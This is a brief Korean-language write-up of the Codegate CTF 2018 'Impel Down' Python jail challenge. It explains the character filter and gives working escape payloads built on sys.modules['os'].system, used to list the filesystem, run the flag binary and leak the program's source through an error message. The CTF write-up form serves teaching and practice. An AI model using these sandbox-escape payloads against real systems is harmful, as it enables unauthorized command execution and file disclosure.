Codegate CTF 2018 Preliminary - Impel Down (Misc)

문제에 접속해보니 PyJail 이라고 적혀있어서 소스도 주지 않았으니 에러를 먼저 찾기로 했다.

글자수 제한도 있으니 가장 짧은 dig를 선택했고 dig로만 시작하면 Invalid Work !!가 뜨지 않는 것을 확인했다.

1. 필터링 확인

메뉴에 +, -, _등이 입력 불가능하다. __import__('os') 이런게 불가능하다는 것이다.

2. 우회

  • +, -, _가 사용 불가능하지만 dig뒤에 *를 붙임으로써 뒤에 나오는 함수가 실행될 수 있게 했다. ex) dig*exit()
  • sys모듈이 import되어 있다면 sys.modules['os'].system으로 system함수를 사용할 수 있다.

3. 공격

결과적으로 sysimport되어있었기에 system을 사용할 수 있었다. (오류가 나더라도 결과는 잘 출력된다.)

menu : dig*sys.modules['os'].system('ls /')

FLAG_FLAG_FLAG_LOLOLOLOLOLOL를 실행시키면 flag가 나온다.

menu : dig*sys.modules['os'].system('/F*')

4. 소스코드 얻어오기

menu : dig*{}[open(sys.argv[0]).read()]
길이도 짧으며 에러 내용으로 얻어올 수 있다.

Share